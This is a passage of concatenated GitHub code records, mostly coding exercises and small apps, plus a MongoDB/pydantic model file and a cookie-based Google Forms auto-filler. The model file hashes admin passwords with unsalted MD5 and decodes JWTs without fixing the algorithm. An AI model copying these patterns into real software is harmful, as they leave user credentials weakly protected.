\n\n\n","repo_name":"spikewilliams/statmart","sub_path":"scripts/gen4_utils.py","file_name":"gen4_utils.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8888745025","text":"'''\r\nCreated on 20160501\r\n\r\n@author: Kenneth Tse\r\n\r\nGiven a collection of distinct numbers, return all possible permutations.\r\n\r\nFor example,\r\n[1,2,3] have the following permutations:\r\n[1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], and [3,2,1].\r\n\r\n'''\r\n\r\nclass Solution(object):\r\n def permute(self, nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: List[List[int]]\r\n \"\"\"\r\n if nums is None or len(nums) == 0: return []\r\n if len(nums) == 1: return [nums]\r\n \r\n lessret = self.permute(nums[1:])\r\n \r\n ret = []\r\n \r\n for comb in lessret:\r\n for i in range(len(nums)):\r\n #ret.append(comb[:].insert(i, nums[0]))\r\n l = comb[:]\r\n l.insert(i, nums[0])\r\n ret.append(l)\r\n\r\n \r\n return ret\r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n s = Solution()\r\n print(s.permute([1,2,3]))","repo_name":"DiamondGo/leetcode","sub_path":"python/Permutations.py","file_name":"Permutations.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25349446827","text":"heart = list(map(int, input().split('@')))\r\ncommand = input()\r\n\r\nid = 0\r\nwhile command != 'Love!':\r\n jump, ind = command.split()\r\n id += int(ind)\r\n if id >= len(heart):\r\n id = 0\r\n #print(id)\r\n if heart[id] == 0:\r\n print(f\"Place {id} already had Valentine's day.\")\r\n else:\r\n heart[id] -= 2\r\n if heart[id] == 0:\r\n print(f\"Place {id} has Valentine's day.\")\r\n #print(heart)\r\n command = input()\r\n\r\nif command == 'Love!':\r\n print(f\"Cupid's last position was {id}.\")\r\n if sum(heart) == 0:\r\n print('Mission was successful.')\r\n else:\r\n fail = [x for x in heart if x != 0]\r\n print(f\"Cupid has failed {len(fail)} places.\")","repo_name":"danilovabg/FundamentalsSoftUni","sub_path":"MID EXAM/04. Programming Fundamentals Mid Exam/03. Heart Delivery.py","file_name":"03. Heart Delivery.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25810735915","text":"\"\"\"Navigator dock widget and functionality\n\"\"\"\n\nimport os.path\nimport collections\nimport queue\n\nfrom PyQt5.QtCore import pyqtSignal, QObject, QThread, QTimer\nfrom PyQt5.QtWidgets import QFileDialog, QWidget\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5 import uic\n\n\nfrom enki.core.core import core\nfrom enki.core.uisettings import TextOption, CheckableOption\nimport enki.lib.get_console_output as gco\n\nfrom . import ctags\nfrom .dock import NavigatorDock\n\n\n# source map. 1 ctags language is mapped to multiply Qutepart languages\n# NOTE this map must be updated after new languages has been added to ctags or Qutepart\n# Initially filled on Qutepart 1.1.0 and Ctags 5.9~svn20110310\n_CTAGS_TO_QUTEPART_LANG_MAP = {\n \"Asm\": (\"AVR Assembler\", \"GNU Assembler\", \"MIPS Assembler\",\n \"Asm6502\", \"Intel x86 (NASM)\", \"Motorola 68k (VASM/Devpac)\", \"PicAsm\"),\n \"Asp\": (\"ASP\",),\n \"Awk\": (\"AWK\",),\n \"Basic\": (\"FreeBASIC\", \"KBasic\", \"MonoBasic\", \"PureBasic\", \"TI Basic\"),\n \"C\": (\"C\",),\n \"C#\": (\"C#\",),\n \"C++\": (\"C++\",),\n \"DosBatch\": (\"MS-DOS Batch\",),\n \"Eiffel\": (\"Eiffel\",),\n \"Erlang\": (\"Erlang\",),\n \"Flex\": (\"Lex/Flex\",),\n \"Fortran\": (\"Fortran\",),\n \"Go\": (\"Go\",),\n \"HTML\": (\"Django HTML Template\", \"HTML\", \"Ruby/Rails/RHTML\"),\n \"Java\": (\"Java\",),\n \"JavaScript\": (\"JavaScript\",),\n \"Lisp\": (\"Common Lisp\",),\n \"Lua\": (\"Lua\",),\n \"Make\": (\"Makefile\",),\n \"Matlab\": (\"Matlab\",),\n \"ObjectiveC\": (\"Objective-C\", \"Objective-C++\"),\n \"OCaml\": (\"Objective Caml\",),\n \"Pascal\": (\"Pascal\",),\n \"Perl\": (\"Perl\",),\n \"PHP\": (\"PHP/PHP\", \"PHP (HTML)\"),\n \"Python\": (\"Python\",),\n \"REXX\": (\"REXX\",),\n \"Ruby\": (\"Ruby\",),\n \"Scheme\": (\"Scheme\",),\n \"Sh\": (\"Zsh\", \"Bash\"),\n \"SML\": (\"SML\",),\n \"SQL\": (\"SQL\", \"SQL (MySQL)\", \"SQL (PostgreSQL)\"),\n \"Tcl\": (\"Tcl/Tk\",),\n \"Tex\": (\"LaTeX\", \"Texinfo\"),\n \"Vera\": (\"Vera\",),\n \"Verilog\": (\"Verilog\",),\n \"VHDL\": (\"VHDL\",),\n \"YACC\": (\"Yacc/Bison\",)\n}\n\n\n# build reverse map\n_QUTEPART_TO_CTAGS_LANG_MAP = {}\nfor ctagsLang, qutepartLangs in _CTAGS_TO_QUTEPART_LANG_MAP.items():\n for qutepartLang in qutepartLangs:\n _QUTEPART_TO_CTAGS_LANG_MAP[qutepartLang] = ctagsLang\n\n\nclass ProcessorThread(QThread):\n \"\"\"Thread processes text with ctags and returns tags\n \"\"\"\n tagsReady = pyqtSignal(list)\n error = pyqtSignal(str)\n\n _Task = collections.namedtuple(\"Task\", [\"ctagsLang\", \"text\", \"sortAlphabetically\"])\n\n def __init__(self):\n QThread.__init__(self)\n self._queue = queue.Queue()\n self.start(QThread.LowPriority)\n\n def process(self, ctagsLang, text, sortAlphabetically):\n \"\"\"Parse text and emit tags\n \"\"\"\n self._queue.put(self._Task(ctagsLang, text, sortAlphabetically))\n\n def stopAsync(self):\n self._queue.put(None)\n\n def run(self):\n \"\"\"Thread function\n \"\"\"\n while True: # exits with break\n # wait task\n task = self._queue.get()\n # take the last task\n while self._queue.qsize():\n task = self._queue.get()\n\n if task is None: # None is a quit command\n break\n\n try:\n tags = ctags.processText(task.ctagsLang, task.text, task.sortAlphabetically)\n except ctags.FailedException as ex:\n self.error.emit(ex.args[0])\n else:\n if not self._queue.qsize(): # Do not emit results, if having new task\n self.tagsReady.emit(tags)\n\n\nclass SettingsWidget(QWidget):\n \"\"\"Settings widget. Insertted as a page to UISettings\n \"\"\"\n\n def __init__(self, *args):\n QWidget.__init__(self, *args)\n uic.loadUi(os.path.join(os.path.dirname(__file__), 'Settings.ui'), self)\n self.pbCtagsPath.clicked.connect(self._onPbCtagsPathClicked)\n self.leCtagsPath.textChanged.connect(self._updateExecuteError)\n\n def _onPbCtagsPathClicked(self):\n path, _ = QFileDialog.getOpenFileName(core.mainWindow(), 'Ctags path')\n if path:\n self.leCtagsPath.setText(path)\n\n def _updateExecuteError(self, path):\n \"\"\" Check if pylint is installed.\n\n Return None if OK or textual error\n \"\"\"\n try:\n stdout, stderr = gco.get_console_output([path, '--version'])\n except OSError as ex:\n self.lExecuteError.setText('Failed to execute ctags: {}'.format(ex))\n else:\n if 'Exuberant Ctags' in stdout:\n self.lExecuteError.setText('ctags is found!')\n elif 'GNU Emacs' in stdout:\n self.lExecuteError.setText(\n 'You are trying to use etags from the Emacs package, but it is not supported. Use Exuberant Ctags.')\n\n\nclass Plugin(QObject):\n \"\"\"Main class. Interface for the core.\n \"\"\"\n\n def __init__(self):\n QObject.__init__(self)\n self._dock = None\n core.workspace().currentDocumentChanged.connect(self._onDocumentChanged)\n core.workspace().textChanged.connect(self._onTextChanged)\n\n core.uiSettingsManager().aboutToExecute.connect(self._onSettingsDialogAboutToExecute)\n core.uiSettingsManager().dialogAccepted.connect(self._scheduleDocumentProcessing)\n\n # If we update Tree on every key pressing, freezes are sensible (GUI thread draws tree too slowly\n # This timer is used for drawing Preview 1000 ms After user has stopped typing text\n self._typingTimer = QTimer()\n self._typingTimer.setInterval(1000)\n self._typingTimer.setSingleShot(True)\n self._typingTimer.timeout.connect(self._scheduleDocumentProcessing)\n\n self._thread = ProcessorThread()\n\n def terminate(self):\n \"\"\"Uninstall the plugin\n \"\"\"\n if self._dock is not None:\n self._thread.tagsReady.disconnect(self._dock.setTags)\n self._thread.error.disconnect(self._dock.onError)\n self._dock.remove()\n self._dock.term()\n self._typingTimer.stop()\n self._thread.stopAsync()\n self._thread.wait()\n\n core.workspace().currentDocumentChanged.disconnect(self._onDocumentChanged)\n core.workspace().textChanged.disconnect(self._onTextChanged)\n core.uiSettingsManager().aboutToExecute.disconnect(self._onSettingsDialogAboutToExecute)\n core.uiSettingsManager().dialogAccepted.disconnect(self._scheduleDocumentProcessing)\n\n def _createDock(self):\n self._dock = NavigatorDock()\n self._dock.setVisible(False)\n self._dock.shown.connect(self._onDockShown)\n self._dock.closed.connect(self._onDockClosed)\n\n self._thread.tagsReady.connect(self._dock.setTags)\n self._thread.error.connect(self._dock.onError)\n\n def _isEnabled(self):\n return core.config()['Navigator']['Enabled']\n\n def _isSupported(self, document):\n return document is not None and \\\n document.qutepart.language() in _QUTEPART_TO_CTAGS_LANG_MAP\n\n def _onDockClosed(self):\n \"\"\"Dock has been closed by a user. Change Enabled option\n \"\"\"\n if core.config()['Navigator']['Enabled']:\n core.config()['Navigator']['Enabled'] = False\n core.config().flush()\n self._dock.setTags([])\n\n def _onDockShown(self):\n \"\"\"Dock has been shown by a user. Change Enabled option\n \"\"\"\n if not core.config()['Navigator']['Enabled']:\n core.config()['Navigator']['Enabled'] = True\n core.config().flush()\n self._scheduleDocumentProcessing()\n\n def _onDocumentChanged(self, old, new):\n if self._isSupported(new):\n if self._dock is None:\n self._createDock()\n self._dock.install()\n if self._isEnabled():\n self._dock.show()\n self._scheduleDocumentProcessing()\n else:\n self._clear()\n if self._dock is not None:\n self._dock.remove()\n\n def _onTextChanged(self):\n if self._isEnabled():\n self._typingTimer.stop()\n self._typingTimer.start()\n\n def _clear(self):\n if self._dock is not None:\n self._dock.setTags([])\n\n def _scheduleDocumentProcessing(self):\n \"\"\"Start document processing with the thread.\n \"\"\"\n self._typingTimer.stop()\n\n document = core.workspace().currentDocument()\n if document is not None and \\\n document.qutepart.language() in _QUTEPART_TO_CTAGS_LANG_MAP:\n ctagsLang = _QUTEPART_TO_CTAGS_LANG_MAP[document.qutepart.language()]\n self._thread.process(ctagsLang, document.qutepart.text,\n core.config()['Navigator']['SortAlphabetically'])\n\n def _onSettingsDialogAboutToExecute(self, dialog):\n \"\"\"UI settings dialogue is about to execute.\n Add own options\n \"\"\"\n widget = SettingsWidget(dialog)\n\n dialog.appendPage(\"Navigator\", widget, QIcon(':/enkiicons/goto.png'))\n\n # Options\n dialog.appendOption(TextOption(dialog, core.config(),\n \"Navigator/CtagsPath\", widget.leCtagsPath))\n dialog.appendOption(CheckableOption(dialog, core.config(),\n \"Navigator/SortAlphabetically\",\n widget.cbSortTagsAlphabetically))\n","repo_name":"andreikop/enki","sub_path":"enki/plugins/navigator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9380,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"21"} +{"seq_id":"29551839969","text":"from django.shortcuts import render, redirect, reverse\nfrom . models import * \nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom accounts.forms import NewLeaveForm\n\n@login_required(login_url='login/')\ndef staffDashboard(request):\n user = request.user \n staff = user.staff\n leaves = Leave.objects.filter(staff=staff).all()\n context = {'leaves': leaves}\n return render(request, 'staffDashboard.html', context)\n\n\n@login_required(login_url='login/')\ndef new_leave(request):\n user = request.user\n staff = user.staff\n\n form = NewLeaveForm()\n\n if request.method == \"POST\":\n form = NewLeaveForm(request.POST)\n if form.is_valid():\n leave = form.save(commit=False)\n leave.staff = staff\n leave.save()\n return redirect(reverse('staffDashboard'))\n\n context = {'form': form}\n return render(request, 'new_leave.html', context)\n\n\n@login_required(login_url='login/')\ndef view_leave(request, leave_id):\n user = request.user\n staff = user.staff \n leave = Leave.objects.filter(staff=staff).get(id=leave_id)\n\n context = {'leave': leave}\n return render(request, 'view_leave.html', context)\n\n\n@login_required(login_url='login/')\ndef approved_leaves(request):\n user = request.user\n staff = user.staff\n approved_leaves = Leave.objects.filter(staff=staff, status=True)\n context = {'approved_leaves': approved_leaves}\n return render(request, 'approved.html', context)\n\n@login_required(login_url='login/')\ndef pending_leaves(request):\n user = request.user\n staff = user.staff\n pending_leaves = Leave.objects.filter(staff=staff, status=False)\n context = {'pending_leaves': pending_leaves}\n return render(request, 'pending.html', context)","repo_name":"Muftawu/LeaveManagementSystem","sub_path":"leave/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31347471547","text":"#this file is about lab tests on AWS S3. \n\nimport boto3\n\naws_mg_con = boto3.session.Session(profile_name = \"py-bot\", region_name = \"us-east-1\")\ns3=aws_mg_con.client(\"s3\")\n\nprint(dir(s3))\n\n#testing tghe changes done in the file. \n","repo_name":"dev-ahuja/narendra-python","sub_path":"S3.py","file_name":"S3.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74212867573","text":"class Solution:\n def canConstruct(self, ransomNote: str, magazine: str) -> bool:\n ransomCounter=Counter(ransomNote)\n \n for note,count in ransomCounter.items():\n if note in magazine:\n if count>magazine.count(note):\n return False\n else:\n return False\n return True \n","repo_name":"harshit28/Leetcode","sub_path":"ransomnote.py","file_name":"ransomnote.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14399831328","text":"import hashlib\nimport random\nimport string\nfrom typing import Optional, Literal, List\n\nimport jose\nfrom bson import ObjectId\nfrom bson.errors import BSONError\nfrom jose import jwt\nfrom pydantic import BaseModel, Field\n\nfrom config.queries import Query\nfrom datetime import datetime\n\nfrom config.settings import SECRET_KEY\nfrom config.utils import datetime_now, convert_datetime_to_date_hourly\nfrom config.settings import db # # # Do Not Delete This Import\n\n\nclass BsonObjectId(ObjectId):\n @classmethod\n def __get_validators__(cls):\n yield cls.validate\n\n @classmethod\n def validate(cls, v):\n if isinstance(v, str):\n try:\n ObjectId(v)\n except BSONError:\n raise TypeError('Invalid ObjectId')\n elif not isinstance(v, ObjectId):\n raise TypeError('ObjectId required')\n return str(v)\n\n\nclass Access(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n access: Literal[\n 'AddAdmin', 'ModifyAdmin', ' ViewAdmin', 'EditDashboardProfile', 'ViewAccessGroup', 'AddAccessGroup',\n 'AddProvider', 'ModifyProvider', 'ViewProvider']\n\n\nclass AccessGroup(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n title: str\n accesses: list\n\n\nclass Provider(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n name: str\n dc_id: str # data center id which is in DataCenterServer table\n logo_file_id: str # file id which is in File table\n url: str # Relative URL which becomes complete by dc download_url in ServerInfo table\n\n\nclass Admin(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n username: str\n password: str\n super_admin: bool = False\n email: Optional[str]\n title: Optional[str]\n avatar_id: Optional[str]\n access_group_ids: Optional[List]\n last_access_time: datetime = datetime_now()\n status: Literal['Active', 'Deactive'] = 'Active'\n provider_id: Optional[str]\n\n @property\n def is_super_admin(self):\n return self.super_admin\n\n @property\n def _id(self):\n return ObjectId(self.id) if self.id else None\n\n def check_password(self, raw_password: str):\n return self.password == hashlib.md5(raw_password.encode('utf-8')).hexdigest()\n\n @classmethod\n def make_password(cls, raw_password):\n return hashlib.md5(raw_password.encode('utf-8')).hexdigest()\n\n\nclass DataCenterInfo(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n download_url: str\n upload_url: str\n\n\nclass File(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n dc_id: str\n status: Literal['Draft', 'Done']\n type: Literal['Avatar', 'Logo', 'Poster', 'Image']\n secret: str\n download_url: str\n extension: str\n size: int\n name: str\n\n @classmethod\n def make_secret(cls):\n return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15))\n\n @classmethod\n def uploader_check_hash(cls, key):\n try:\n return jwt.decode(key, SECRET_KEY)\n except jose.exceptions.JWTError as e:\n raise ValueError('secret key is not valid')\n\n @classmethod\n def update_source_files_id(cls, type, source_id, file_id):\n if type == 'Avatar':\n res = Admin.update_one({'_id': source_id}, avatar_id=file_id)\n if res.modified_count == 0:\n res = Person.update_one({'_id': source_id}, avatar_id=file_id)\n return res.modified_count\n if type == 'Logo':\n res = Provider.update_one({'_id': source_id}, logo_file_id=file_id)\n return res.modified_count\n if type == 'Poster':\n res = Content.update_one({'_id': source_id}, poster_id=file_id)\n return res.modified_count\n if type == 'Image':\n content = Content.get_one(_id=source_id)\n if len(content.images_id) >= 10:\n Content.update_variable({'_id': source_id}, {'$pop': {'images_id': -1}})\n res = Content.update_variable({'_id': source_id}, {'$push': {'images_id': file_id}})\n return res.modified_count\n\n @classmethod\n def uploader_make_hash(cls, secret, dc_id, source_id, type, file_id):\n data = {\n 'secret': secret,\n 'dc_id': dc_id,\n 'source_id': source_id,\n 'type': type,\n 'file_id': file_id\n }\n return jwt.encode(data, SECRET_KEY, algorithm='HS256')\n\n\nclass Genre(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n name: str\n\n\nclass Tag(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n name: str\n\n\n# TODO clear category Enum or Model\nclass Category(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n name: str\n\n\nclass Content(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id', default=None)\n title: str\n type: Literal['Movie', 'SeriesEpisode', 'NewSeries'] = ''\n series_id: Optional[str]\n season: Optional[int]\n episode: Optional[int]\n summery: str\n language: Literal['Persian', 'English']\n genre: List[str]\n # TODO clear category Enum or Model\n # category: str\n age: Literal['Adults', 'Children', 'Both']\n director_id: str\n producer_id: str\n persons_id: Optional[List[str]]\n actors_id: list\n IMDB_link: Optional[str]\n tags: Optional[List[str]]\n\n status: Literal['Uploading', 'AwaitingConfirmation', 'Published', 'Deleted', 'Rejected', 'IsSeries'] = 'IsSeries'\n status_description: Optional[str]\n\n poster_id: Optional[str] = []\n images_id: Optional[list] = []\n\n length: Optional[str] = \"00:00:00\" # 03:00:10\n publish_datetime: Optional[datetime] = datetime_now()\n\n admin_id: str\n provider_id: str\n\n MCI_traffic: Optional[float] = 0.0\n MTN_traffic: Optional[float] = 0.0\n Other_traffic: Optional[float] = 0.0\n total_traffic: Optional[float] = 0.0\n\n\nclass Person(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n full_name: str\n role: Literal['Director', 'Producer', 'Actor', 'Other']\n avatar_id: str\n\n\nclass ContentAccessLog(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n content_id: str\n provider_id: str\n date_hourly: str # \"2022-10-12-23\"\n isp_name: Literal['MCI', 'MTN', 'Other']\n accessed_bytes: int\n traffic_factor: float = 1 # 1/traffic_factor per day\n\n @classmethod\n def traffic_pipline(cls, start_time, end_time, provider_id, content_id):\n match_list = [{'$and': [\n {'date_hourly': {\n '$gt': convert_datetime_to_date_hourly(start_time),\n '$lt': convert_datetime_to_date_hourly(end_time)\n }},\n ]}]\n if provider_id:\n match_list.append({'provider_id': {'$eq': provider_id}})\n if content_id:\n match_list.append({'content_id': {'$eq': content_id}})\n sort = {'$sort': {'date_hourly': -1}}\n group_list = [{'$group': {\n '_id': {'isp_name': '$isp_name'},\n 'isp_name': {'$first': '$isp_name'},\n 'date_hourly': {'$push': '$date_hourly'},\n 'accessed_bytes': {\n '$push': {'$multiply': ['$traffic_factor', '$accessed_bytes']}\n }}}]\n project = {'_id': 0, 'data': 0}\n return match_list, group_list, project, 'date_hourly', 'isp_name'\n\n @classmethod\n def get_total_traffic(cls, start_time, end_time, provider_id, content_id):\n return cls.aggregate(*cls.traffic_pipline(start_time, end_time, provider_id, content_id), skip=None, limit=None)\n\n\nclass TotalTraffic(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n date_hourly: str # \"2022-10-12-23\"\n isp_name: Literal['MCI', 'MTN', 'Other']\n accessed_bytes: int\n traffic_factor: float = 1\n\n @classmethod\n def get_total_traffic(cls, start_time, end_time):\n return cls.aggregate(*ContentAccessLog.traffic_pipline(start_time, end_time, None, None), None, None)\n\n\nclass ContentAccessCountLog(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n content_id: str\n quality: str\n segment: str\n date_hourly: str\n access_count: int\n traffic_factor: float = 1\n\n\nclass ContentSegmentCount(BaseModel, Query):\n id: BsonObjectId = Field(alias='_id')\n content_id: str\n segment: str\n quality: str\n access_count: int\n","repo_name":"nargessalehi98/vod-dashboard","sub_path":"config/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42042257962","text":"# Imported Lib\nimport json\nfrom difflib import get_close_matches\n\n# Data Reading from the Json file (Function)\ndata = json.load(open(\"data.json\"))\n\n\ndef search(user_input):\n user_input = user_input.lower()\n if user_input in data:\n return data[user_input]\n elif user_input.title() in data:\n return data[user_input.title()]\n elif user_input.upper() in data:\n return data[user_input.upper()]\n # To find a close match\n elif len(get_close_matches(user_input, data.keys())) > 0:\n close_word = get_close_matches(user_input, data.keys())[0]\n response = input(\"Did you mean '%s' instead? (Y/N) \" % close_word)\n if response == \"Y\":\n return data[close_word]\n elif response == \"N\":\n return \"Sorry we couldn't help you!! \"\n else:\n return \"Please Enter (Y) if Yes, or (N) if No\"\n else:\n return \"The Word Doesn't exist, Please Double check it\"\n\n\n# User Interfacing\nuser_input = input(\"Enter Word: \")\n\n# output\noutputs = search(user_input)\n\nif type(outputs) == list:\n for output in outputs:\n print(output)\nelse:\n print(output)\n","repo_name":"MElGabaly/Interactive-English-Dictionary","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18710505131","text":"import requests\nimport json\n\n\njson_request = {\n\n 'username': 'ahmad299934',\n 'name': 'ahmad',\n 'last_name': 'rmz',\n 'password': '12345',\n 'phone_number': '12345',\n 'national_code': '4125963214578',\n 'address': 'znj',\n 'house_number': '3347582695',\n 'drug_hist': True,\n 'decease_hist': False,\n 'doctor': 'sosan',\n 'offline_number':0,\n\n}\n\n\nsrc = 'http://127.0.0.1:8000/Core/'\n\nr = requests.post(src + 'signup/customer/', json=json_request, headers={'Authorization':'barear 1'})\n\nres_data = r.json()\npretty_json = json.dumps(res_data, indent=4)\n\nprint('\\nStatus Code : ', r.status_code)\nprint('\\n\\nResponse JSON : \\n\\n', pretty_json)\n","repo_name":"rezabhm/Laser-Back-End","sub_path":"Test/Core/SignUpCustomer.py","file_name":"SignUpCustomer.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39799365554","text":"# sequence, k = [1, 2, 3, 4, 5, 6, 7], 5\nsequence, k = [1, 2, 3, 4, 5], 7\n# sequence, k = [2, 2, 2, 2, 2], 6\n# sequence, k = [1,1,1,1,1,1,1], 7\n# sequence, k = [7,5,5,1,1,50,50], 100\n\ndef solution(sequence, k):\n answer = []\n s, e, sum = 0, 0, sequence[0]\n len_min = len(sequence)\n\n while e < len(sequence):\n if sum == k:\n if e-s < len_min:\n len_min = e-s\n answer =[]\n answer.append([s, e])\n sum -= sequence[s]\n s += 1\n\n elif sum > k:\n sum -= sequence[s]\n s += 1\n\n else:\n e += 1\n if e == len(sequence):\n break\n sum += sequence[e]\n\n return sorted(answer, key=lambda x: x[0])[0]\n\nprint(solution(sequence, k))","repo_name":"cheol-95/Algorithm","sub_path":"re-start/035. 연속된 부분 수열의 합.py","file_name":"035. 연속된 부분 수열의 합.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15627848690","text":"def bubble_sort(items):\n \"\"\"\n Return the items sorted using the bubble sort algorithm\n\n >>> bubble_sort([1,4,3,2,6])\n [1, 2, 3, 4, 6]\n\n >>> bubble_sort([9,1,-1,0,4,3])\n [-1, 0, 1, 3, 4, 9]\n\n >>> bubble_sort([3,1,0,1,-4,3])\n [-4, 0, 1, 1, 3, 3]\n\n \"\"\"\n n = len(items)\n for i in range(n-1):\n for j in reversed(range(i+1, n)):\n if items[j] < items[j-1]:\n items[j-1], items[j] = items[j], items[j-1]\n return items\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"bencornelis/clrs-solutions","sub_path":"algorithms/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27803937145","text":"#\n# @lc app=leetcode.cn id=169 lang=python3\n#\n# [169] 多数元素\n#\n\n# @lc code=start\nclass Solution:\n def majorityElement(self, nums: List[int]) -> int:\n res = None\n count = 0\n for n in nums:\n if count == 0:\n res = n\n if res == n:\n count += 1\n else:\n count -= 1\n return res\n# @lc code=end\n\n","repo_name":"zhiweiguo/davidzguo_leetcode","sub_path":"169.多数元素.py","file_name":"169.多数元素.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21228138000","text":"import requests\nimport bs4\nimport json\nimport pickle\nimport os.path\nimport dump_cookies\n\nquestion_types = {\n 0: \"short_answer\",\n 1: \"paragraph\",\n 2: \"multiple_choice\",\n 4: \"checkboxes\",\n 3: \"dropdown\",\n 8: \"section_title\",\n 11: \"weird_thing\"\n}\n\ndef analyze (token, info):\n pprint = lambda shit: print (json.dumps (shit, indent = 2))\n\n url = f\"https://docs.google.com/forms/d/e/{token}/viewform\"\n cookie_file_path = f\"cookies/{info [0]}.p\"\n if not os.path.isfile (cookie_file_path): dump_cookies.dump_cookies (info [0])\n with open (f\"cookies/{info [0]}.p\", \"rb\") as cookie_file:\n jar = pickle.load (cookie_file)\n response = requests.get (url, cookies = jar).text\n html = bs4.BeautifulSoup (response, \"html.parser\")\n if html.title.string == \"Page Not Found\":\n raise Exception (\"Invalid token!\")\n script_tags = list (html.find_all (\"script\"))\n last_script_tag = script_tags [-2].string\n BEGINNING = \"var FB_PUBLIC_LOAD_DATA_ = \"\n END = \"\\n;\"\n last_script_tag = last_script_tag [len (BEGINNING):(len (last_script_tag) - len (END))]\n free_bird_public_load_data = json.loads (last_script_tag)\n # (These indices are extracted from a dump of a test form's HTML)\n detailed_info = free_bird_public_load_data [1]\n # noinspection PyUnusedLocal\n description = detailed_info [0]\n questions = detailed_info [1]\n # noinspection PyUnusedLocal\n name = detailed_info [8]\n # print (f\"Description: {description}, name: {name}\")\n out_questions = []\n section_count = 1\n for in_question in questions:\n question = {\n \"id\": in_question [0],\n \"name\": in_question [1]\n }\n if in_question [3] in question_types:\n question [\"type\"] = question_types [in_question [3]]\n else:\n question [\"type\"] = \"unknown\"\n if question [\"type\"] == \"weird_thing\": continue\n if question [\"type\"] == \"section_title\":\n section_count += 1\n continue\n question [\"answer_info\"] = in_question [4]\n out_questions.append (question)\n\n response_body = {}\n\n name = info [1].split (\" \")\n cohort_number = info [2]\n\n # info is in the format [\"reed.eric2022@istemghs.org\", \"Eric Reed\", \"Petrecca\", \"More gaming would be cool\"]\n\n draft = []\n\n # noinspection PyUnusedLocal\n def add_normal (_answer_id, answer_value):\n response_body [f\"entry.{_answer_id}\"] = answer_value\n def add_draft (_answer_id, answer_value):\n draft.append ([None, _answer_id, [answer_value], 0])\n add = add_draft\n\n for question in out_questions:\n answer_id = question ['answer_info'] [0] [0]\n lower_name = question [\"name\"].lower ()\n type_is = lambda check_type: question [\"type\"] == check_type\n def is_yes_no (lenient = False):\n if not type_is (\"multiple_choice\"): return False\n _answer_list = question [\"answer_info\"] [0] [1]\n return _answer_list [0] [0] == \"Yes\" and (_answer_list [1] [0] == \"No\" or lenient)\n print (f\"Question ID: {question ['id']}\")\n print (f\"Answer ID: {answer_id}\")\n print (f\"Lowercase name: {lower_name}\")\n print (f\"Type: {question ['type']}\")\n\n if \"first\" in lower_name and \"name\" in lower_name and type_is (\"short_answer\"):\n print (f\"DETECTED FIRST NAME, setting {answer_id} to {name [0]}\")\n add (answer_id, name [0])\n elif \"last\" in lower_name and \"name\" in lower_name and type_is (\"short_answer\"):\n print (f\"DETECTED LAST NAME, setting {answer_id} to {name [1]}\")\n add (answer_id, name [1])\n elif \"cohort\" in lower_name and type_is (\"multiple_choice\"):\n answer_list = question [\"answer_info\"] [0] [1]\n selected = None\n for answer in answer_list:\n if cohort_number in answer [0].lower ():\n selected = answer [0]\n if selected is None: raise Exception (\"couldn't find selected\")\n print (f\"DETECTED COHORT SELECTION: {selected}\")\n add (answer_id, selected)\n elif \"ccp\" in lower_name and type_is (\"multiple_choice\"):\n print (\"DETECTED CCP\")\n add (answer_id, \"No\")\n elif \"understand\" in lower_name and is_yes_no (lenient = True):\n print (\"DETECTED UNNECESSARY CONFIRMATION\")\n add (answer_id, \"Yes\")\n elif \"breakout\" in lower_name and not \"second\" in lower_name and not \"third\" in lower_name and type_is 